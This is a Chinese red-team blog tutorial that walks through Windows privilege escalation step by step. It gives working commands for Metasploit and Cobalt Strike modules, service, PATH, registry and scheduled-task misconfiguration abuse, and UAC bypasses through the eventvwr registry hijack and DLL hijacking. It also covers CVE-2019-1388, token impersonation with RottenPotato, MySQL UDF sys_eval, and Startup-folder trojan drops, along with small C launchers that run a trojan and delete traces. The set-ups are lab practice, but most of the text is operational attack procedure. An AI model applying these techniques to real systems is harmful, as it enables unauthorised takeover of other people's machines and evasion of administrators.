之前讲过一下提权,但是感觉有点不成体系,所以我们就成体系的来讲一下这个操作系统的提权
目录
Windows的提权
1.Widnows的内核溢出提权
1.MSF自带的提权模块(Win11都能提上来,有点牛逼)
2.CS的插件提权
3.补丁对比提权
2.Windows的错误配置提权
1.Trusted Service Paths提权
2.PATH环境变量提权
3.不安全的服务提权
4.不安全的注册表提权
5.注册表键AlwaysInstall提权
6.Runas提权
7.计划任务提权
8.启动项提权
3.绕UAC提权
1.MSF_bypass_UAC提权&&社工提权
2.基于白名单的AutoElevate绕UAC
3.基于白名单DLL劫持绕过UAC提权
4.CVE-2019-1388_UAC提权
5.Windows令牌窃取攻击提权
4.Potato提权
RottenPotato_MS16-075
5.数据库提权
1.UDF提权
1.获取密码
2.mysql的版本
3.secure_file_priv的值
4.允许root远程登录
2.启动项提权
Windows的提权
1.Widnows的内核溢出提权
溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。(永恒之蓝就是一种缓冲区溢出噢)
这个有很多的方式,像什么cs的插件,msf的强大的检测,网上的一些python脚本 ....
但是怎么判断要不要提权呢??
whoami /groups
如果是显示medium的话就要提权
因为一般管理员的话都是显示的high或者system
其实最简单的就是添加用户(只有system或者administrator才能创建用户,普通管理员都不行)
那么就可以拿这个当成一个权限测试的探针!!!
下面我们就来讲一下常见的提权方式!!!
1.MSF自带的提权模块(Win11都能提上来,有点牛逼)
众所周知,msf是一个很强大的渗透模块!!!
首先我们先上线一台机器,在没有提权的情况下一般都是创建不了用户的!!
很好access denied !!! 那么我们就去提权(这个靶机是win11)
use multi/recon/local_exploit_suggester
set session "刚才会话的id"
run //这个会自动检测你的windows的可提权部分
这样就能看见一个能提权的部分了
那么我们直接use 然后run
exploit/windows/local/bypassuac_fodhelper
set session "你的会话id"
run
然后可以看见就是直接拿到了system的权限 (期间会有一个蓝屏一闪而过,无伤大雅)
可以成功验证我们的system权限
2.CS的插件提权
先上线一个机器
正常的去创建用户肯定是会报错的
那么我们用cs自带的插件提权
成功提权并且能创建新的用户!!!
其实像其他插件也有(不过似乎不太好用)
你们自行尝试
3.补丁对比提权
如果实在是环境苛刻,cs msf都上线不了 那么只能在本地执行命令对比提权了
systeminfo
将这一段复制到这个网址
提权补丁信息对比 (shentoushi.top)https://www.shentoushi.top/av/kb.php就可能能发现一些能用的exp
2.Windows的错误配置提权
在现在的世界中,基本上很多电脑都打了补丁,导致内核溢出提权困难,所以这时候我们就要去看一下管理员是否有一些错误的配置,导致我们可以进行提权!!
1.Trusted Service Paths提权
Trusted Service Paths 漏洞是由系统中的“CreateProcess”函数引起的,并利用了windows文件路径解析的特性。
首先,我们可以以管理员的身份去打开这一个查看服务,这里的服务都是以system权限去运行的
随便挑一个,那么微软的运行情况,就是这样的!!
- 先去D盘下运行Acunetix.exe
- 如果上一步不成功的话,那么就会往下找有没有wvs_supervisor.exe的程序,并且运行
那么问题就在这里了,如果该路径没有被双引号包裹,而且路径间存在空格,那么就可以提权
举个栗子
C:\ASUS\Program Files\test.exe
那么我们就可以在C盘的ASUS文件夹下面放一个Progarm.exe的恶意文件!让他运行我们的木马
不过首先我们可以通过命令查看一下有没有错误的配置!!!
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """
不过这个提权方式一般都很难,因为这种配置基本上都只可能是用户自行配置的错误,微软是不可能会发生这种错误的配置的!!! 就拿win11 和 win 7来举例子
可以看见基本上都是不存在自身的这种错误的配置的
那咋办??为了完成我们这次实验,我们只能手动的模拟一个错误配置咯!!!!
sc create "service" binpath= "c:\program Files\Common Files\service\services.exe" start= auto
sc qc service
然后这时候就去看c盘的权限
icalcs "C:"
可以看见 以下成果
先来解释一下
我们没有写的权限捏!!! 于是还要修改权限
icacls "C:" /grant "BUILTIN\Users" :W
于是我们就有了往c盘下写东西的权限啦!!!!
然后接下来我就模拟实战!!!先上个马,然后用命令去查看一下配置
能看见我们刚才配置的恶意文件
于是上文件,先用c语言编译这个
#include<stdio.h>
#include<stdlib.h>
int main() {
system("cmd.exe /c C:\\Users\\whoami\\Desktop\\1.exe");
return 0;
}
但是,babecue了!!!传不上去!!
那看来可能是配置错误了wuuwuw~~~(只能手动尝试了)
然后......翻车了(安静的让人害怕)
所以这种方法也是有一定的局限性的(翻车??NO!!!)
2.PATH环境变量提权
对于学计算机的童鞋,path这个词肯定不会陌生(java,python,VS这些配置)
其实大家有没有想过我们平时的ipconfig是什么意思???
其实是这样的(按照我这个环境变量来说的话)
- 他先去D盘的VMware\bin的文件夹下找一下有没有ipconfig这个exe
- 然后就去D盘的java_new\bin下找一下有没有ipconfig这个exe
- 最后在C盘的Windows的system32文件夹下面找到了ipconfi.exe
执行了之后,我们才会看到我们的ip信息,但是有没有想过,(按照上面的配置来说)我们可不可以在D盘的vmware的bin下放一个恶意程序叫做ipconfig.exe ???
hhhhh ,这就是错误的path配置导致的提权,直接实战!!!
wmic ENVIRONMENT where "name='path'" get Username , VariableValue
诶嘿,有操作空间!!!
#include<stdio.h>
#include<stdlib.h>
int main() {
system("cmd.exe /c C:\\Users\\whoami\\Desktop\\damn.exe");
system("del C:\\test\\ipconfig.exe");
return 0;
}
解释一下,这个代码是以system去运行我们的木马,并且删除ipconfig文件(否则就要被管理员发现啦!!!)
然后就是去编译,并且上传啦
在这里先吐槽一下,md为什么windows的cs上传文件这么卡,我用的Linux才不卡
然后就是登管理员用ipconfig
可以看见是成功上线的,并且卡在了ipconfig这里,然后当再次使用ipconfig时又能正常显示!!!
3.不安全的服务提权
由于Windows中的服务一般都是以system权限去运行的,所以如果管理员在配置某一些服务的时候,给予了某些用户能修改这个服务的时候,可能会导致提权
就比如下面,如果我们普通用户可以改掉这个svchost.exe为我们的上线木马,那么就可以提权
那么下面我们就来演示一下,首先以管理员的身份执行以下命令
这个就是在创建一个服务,并且指定了运行的c盘下的1.exe文件
sc create wanli binpath= "C:\1.exe"
然后使用subinacl这个工具给whoami这个用户赋予完全控制权(F)对于wanli这个服务
subinacl.exe /service wanli /grant=whoami=F
然后通过cs控制的机器去查询能运行的服务
accsesschk.exe “用户名” -cw * /accepteula //这个工具需要自己上传
可以看见apache 用户是对wanli这个服务
然后就可以去该服务了
sc config wanli binpath= "C:\Users\apache\desktop\2.exe"
这个就是去修改了wanli这个服务去运行1.exe程序
那么1.exe就可以这么写,记得编译然后上传
#include<stdio.h>
#include<stdlib.h>
int main(){
system("cmd.exe \c C:\\你的木马程序的路径");
return 0;
}
最后就是直接启动这个服务了!!(因为有F权限,所以可以直接执行)
shell sc start wanli
提权成功!!!!!
4.不安全的注册表提权
Windows的服务路径存在于Windows的注册表中,如果注册表配置不当,当攻击者可以发现使用低权限修改注册表的时候,就可以提权,(将imagepath修改为恶意文件,重启提权)
说起来有点抽象,我们直接去实战
先去创建服务
sc create wanli2 binpath= "C:\1.exe"
这一步在管理员的注册表完成,赋予users组wanli2的完全访问权限
然后下面的步骤去cs上线的机器里面执行,这个命令可以列出所有服务
sc query type= all state= all | findstr /i service_name.* | more
然后去查看每一个服务是否配置不当
shell subinacl.exe /keyreg "HKEY_LOACL_MACHINE\system\ControlSet001\services\wanli2" /display
如果能找到一个服务对于普通用户可以具有完全控制权,那么就可以提权了
然后就是去改注册表的imagepath了
reg add "HEKY_LOCAL_MACHINE\system\ControlSet001\services\test" /t REG_EXPAND_SZ /v ImagePath /d "你的恶意文件的路径" /f
但是这时候是不可以直接重启权限的,因为你只有对注册表的修改权限,并没有启动或者关服务的权限 ,所以这里只能等管理员去自己重启了(普通用户连重启的权限都没得啊!!)
手动模拟一下重启啦嘻嘻嘻,启动服务即提权
5.注册表键AlwaysInstall提权
AlwaysInstallElevated是注册表的一个键值,当其值为1时候,普通用户可以system权限安装MSI文件
怎么查看是否开启了呢???
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果没开启,你将看到这样的结果
如果开启了,就会是这样的结果(都是1的值)
怎么开启?你可以直接在gpeidt.msc里面去修改,或者你也可以直接敲上这两条命令
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
然后提权方式有两种,第一种,你可以上线到msf去用自带的模块去提权
在拿到meterpreter之后,敲上以下的命令
bg
use windows/local/always_install_elevated
set session "刚才的会话的id"
run
然后就会有机率的获得它的system的shell(问就是我没成功)
第二种方法就是上线cs,你可以去先生成一个cs的木马,然后把他转换成msi的格式再去上线
其实它的提权原理就是用普通用户以system的身份去运行了你的msi的木马文件
6.Runas提权
在开始之前,先来讲一下一个runas命令
如果管理员想在一个普通用户的shell下想运行一些管理员的命令,可以考虑runas命令
runas /user:"管理员用户的名字" 运行的程序
如果管理员加多了一行这个选项
runas /savecred /user:administrator cmd.exe
那么你以后都不用再次输入密码(凭证原因)
控制面板下的用户账户的凭证管理器查看,如果有的话那么就可以提权了!!!
7.计划任务提权
如果管理员在配置计划任务的时候配置不当的话,导致我们可以更改计划任务下的运行程序,就可以导致提权!!!
然后就是比较玄学了你可以通过这个命令,但是一般是查不到的(权限不够捏)
schtasks /query /fo LIST /v
我知道你在想什么(chcp437我也试过啦)
就算是手动查询也是查不到的
所以只能玄学的去寻找了
shell accesschk.exe whoami "C:" -accepteula
可以看见users有写和读的权限
然后就是把我们的恶意文件上传上去了 (替换掉原来服务的程序)
成功提权
8.启动项提权
Windows启动目录下的脚本可以开机自启,利用这一特性可以向上述目录传入脚本达到恶意提权的目的,前提是目录或者注册表的更改权限
这些都是windows的自启动项
还是通过accesschk这个工具去判断有没有权限,如果有的话,那么就可以提权
传个木马上去,然后等到这台电脑启动的时候,他就自己提权了
3.绕UAC提权
什么是uac,我之前说过了,忘记了的可以去看我之前的这篇文章
红队学习笔记Day6 --->干货分享-CSDN博客
那么在开始之前,我们先来回顾一下,当我们要去运行某一些程序的时候,会看见这样
但是呢,我们去查询,明明我们是管理员啊
hhhhh,因为我们只是普通的管理员,不是administrator这个系统的管理员,所以当我们点了确定之后,我们就能以系统管理员的身份去运行了!!!
所以在cs中,为什么有些用户是有* 原因就是因为 ,如果用 * 就是代表了我是系统的管理员,已经过了UAC了,否则的话,我只是普通的用户或者普通管理员,还得被UAC约束
那么在拿到一个普通管理员的情况下怎么提权呢???
1.MSF_bypass_UAC提权&&社工提权
首先你可以用cs的插件去提权,这个在上面就有,或者你可以用msf的bypassUAC提权
你search 一下bypassUAC 然后挑几个利用一下利用一下就好(前面讲过一个Win11都能提的)
或者还有一个社工的手段 用以下命令
use exploit/windows/local/ask
然后当你run的时候,别人主机就会弹出这个东西来
如果配合你的社工和免杀,说不定能过
2.基于白名单的AutoElevate绕UAC
利用白名单程序的本质实际上就是劫持注册表,这种方式就是去寻找autoelevate属性为True的程序,修改器其注册表command的值,改成我们的payload,该值中指明的字段会在这类程序运行时主动执行!!
说了那么多,说点人话。对于我们电脑的很多程序来说,如果每一项在开机启动的时候都要报一下UAC那么我们电脑是不是就废了,所以就诞生了UAC白名单!!
于是我们可以先去监控一下启动这些进程的时候运行了注册表的什么
可以看见,我们在运行eventvwr的程序的时候,会去注册表的 HKCU\Software\Classes\mscfiles\shell\open\command下运行命令
但是显示notfound 所以我们就可以往里面写入内容
reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /t REG_SZ /d "cmd.exe /c 恶意程序 "
reg add HKCU\Software\Classes\mscfile\shell\open\command /v DelegateExecute /t REG_SZ
然后当我们再去运行这个程序的时候,就可以绕过UAC去运行!!!!(此程序为UAC的白名单程序) 看看看!!!! 是不是就是这个原理??
其实这个有没有一键的方法呢??? 肯定有啊!!!cs的插件不就有吗!!!
看见没,是不是有一些就是这个原理!!!
3.基于白名单DLL劫持绕过UAC提权
这个就有点意思了,有点免杀木马的那味了!!!!先来解释一下DLL
DLL是动态链接库,又称为"应用程序扩展",是软件的文件类型。在Windows中的许多应用程序并不是一个完整的可执行程序文件,他们被分割成一些相对独立的动态连接库文件(DLL)放置在系统中
说点人话,就是像极了我们运行一个python的程序,是不是我们也要导入一些库文件
所以就可以这样理解,比如我们要运行微信这个程序,他需要去调用一些DLL,才能将整个程序运行起来,所以!!!!如果我们将这个DLL改成一个恶意的DLL文件,当这个程序被运行的时候,就会调用这个恶意的DLL,我们的shellcode就会运行,导致"RCE",这就是DLL劫持!!
但是!!! 微软有这么傻吗??? 微软通过增加Know DLLS注册表做到防止大部分的DLL被劫持
所以我们就要去找一些既是UAC白名单又能被劫持的程序
SystemPropertiesAdvanced.exe 是 Windows 操作系统的标准文件,通常不需要通过用户账户控制 (UAC) 的白名单来运行。它是一个系统性的工具,通常不会被 UAC 阻止。
然后同构process monitor可以看见,他是调用到了powershell里面的dll
为什么呢?首先得来了解一下Windows的dll调用方法
如果在前五个都没有找到这个DLL的话,就会去环境变量里面找,刚好我们的环境变量里面是有powershell的!!!!
那就是说这个程序在运行的时候,调用到的dll会去到环境变量查找,那么如果我们能在一个可以改动环境变量的目录下伪造这个一个恶意的DLL是不是就能绕过UAC提权!!!!
那么先去准备一个shellcode
然后编译成一个DLL文件
改名为一开始程序调用的dll文件名字
然后我们可以直接修改他的注册表,其中,这个"C:\test"是你自己加上去的环境变量路径
setx PATH "%PATH%;C:\test" //这一步需要普通管理员权限
然后就把刚才写的dll传到这个目录下!!在cs运行服务,即上线!!!!
管理员权限,而且是以UAC白名单的程序去运行!!!!!
4.CVE-2019-1388_UAC提权
这个提权方式不适用于MSF或者CS,只能远程桌面去使用!!!
该漏洞提权是一个Windows证书对话框特权提升漏洞。此漏洞是因为UAC机制设定不严导致的。默认情况下,Windows UAC提示是由consent.exe的可执行文件生成的,并且该程序是以NT AUTHORITY\SYSTEM 身份去运行的,具有system的完整性水平!!!
但是有适用的范围,以下的
那么下面,我们就来复现一下,先打开这个程序
再去点击这个
点击确定,然后再退出UAC
这个过程所有的操作,都是以着system的权限去运行的哦哦哦哦哦
找到cmd,然后打开
这时候我们的shell权限,就是system了!!!
5.Windows令牌窃取攻击提权
其实,这算不算是一种提权手法呢??我觉得是不算的,为什么??一会看就知道力
令牌(Token)是系统的临时密钥,相当于账户名和密码,用于决定是否允许这次的请求和判断这次请求属于哪一个用户的,它允许你再不提供密钥或者其他凭证的前提下,访问网络和系统的资源,这些令牌持续存在在系统中,除非系统重新启动
其中提权,用的还是访问令牌比较多
这时候,如果我们能拿到一个过了UAC的管理员,或者administrator用户,就可以通过工具来窃取system的令牌!!!
然后窃取它的令牌,就能提权了
其实你说这个算不算是提权呢 ,我都已经能拿到过了uac的管理员权限或者administrator的权限了。提升至system只需要写个计划任务或者runas一下不就好了吗
其实我们的msf中的
getsystem
就是通过窃取到了system的令牌,从而达到的提权,这也解释了为什么普通用户或者一般管理员getsystem没用(因为他们偷不了令牌,当然了管道也是不行的)
getsystem就是通过管道基数或者窃取令牌的手段提的权,都需要过了UAC的管理员或者administrator
4.Potato提权
土豆家族在提权这一方面,确实挺不错的,cs的很多插件也有
那么我们下面就来讲一些土豆吧
RottenPotato_MS16-075
1. 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
2. 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3. 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
利用场景,当我们以webshell进去的时候,说不定权限比较低,如果是IIS服务账户,说不定我们就可以进行烂土豆提权(其实说到最后还是令牌的窃取(偷的system的令牌))
先传个potato上去,以下代码在meterpreter中运行
execute -cH -f ./potato.exe
use incognito
list_tokens -u
如果你看到这样的界面,就不用往下做了,换一种方式,没权限偷不了一点,(看不见system)
如果能看见system,那就说明可以偷
开偷
impersonate_token "NT AUTHORITY\SYSTEM"
其他的土豆也有,不过原理很复杂,这里我就不讲了,直接用插件就是
5.数据库提权
默认情况下,MSSQL, MySQL, Oracle均以 nt authority\system权限(系统服务)或Administrator权限(管理员手动)运行 ,提权成功率较高。
1.UDF提权
先上个效果图片
UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了。
利用数据库提权需要以下前提
- 需要获取账号和密码
- 如果你的操作系统在5.2以下,你就要将udf.dll放在 C:\windows/system32下面,否则,你就要放在mqsql的/lib/plugin下面(一般都是这个)
- secure_file_priv的值
- 允许root远程登录!!!
那么我们分别来说一下每一个项
1.获取密码
这个需要你去翻一下有没有一些配置config的文件,一些网站的源代码说不定有
或者你直接用sqlmap去跑,说不定能跑出来密码
2.mysql的版本
建议用这两个命令去查一下
select version(); //查看Mysql版本
下面这个命令决定了后面我们要用什么dll文件
select @@version_compile_os, @@version_compile_machine;
32位的不能用64位的dll
3.secure_file_priv的值
show variables like "%secure%"
一定要能看见是没有任何显示,就算是NULL也不行!!!!!
那么,如果他是呢?? 那没事,可以改
可以去my.ini那里加一行
[mysqld]
secure_file_priv = "" //加上这个
4.允许root远程登录
5.7的版本以前写这句
mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
以后的版本
-- 创建用户
CREATE USER 'root'@'%' IDENTIFIED BY 'root';
-- 授权
grant all privileges on *.* to 'root'@'%' ;
然后就可以开搞了!!
先去mysql里面创建一个/删除原来的udf.dll ,确保这里面没有udf.dll并且有/lib/plugin这个目录
然后可以去用msf的模块攻击
msfconsole
use exploit/multi/mysql/mysql_udf_payload
set rhost
run
开始攻击
然后就是去准备一个udp.dll
MySQL UDF 提权十六进制查询 | 国光 (sqlsec.com)https://www.sqlsec.com/tools/udf.html然后将后面的这个路径换成靶机上的mysql的路径
写完之后,就能看见两个文件了在/lib/plugin下
最后在去创建一个运行我们命令的函数
create function sys_eval returns string soname "udf.dll";
然后就大公告成!!!可以提权了
select sys_eval("命令")
成功提权
2.启动项提权
前面是不是说过mysql是以system权限运行的来着!!!
那么我们的思路是不是就可以将木马写在它的自启动程序!!!
思路有了开搞,先找一个启动的地方
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
然后敲上这个命令
select load_file("C:\\Users\\liukaifeng01.GOD\\Desktop\\demo.exe") into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\1.exe";
前面的路径是你木马的路径,后面则是windows的启动项目,如果没有什么意外,再次getshell还是可以的!!!
但是,如果他是以普通管理员登录的话,!!!那么你也只能拿到一个普通管理员的权限
如果他是以administrator登录的话,你就可以拿到administrator的权限!!!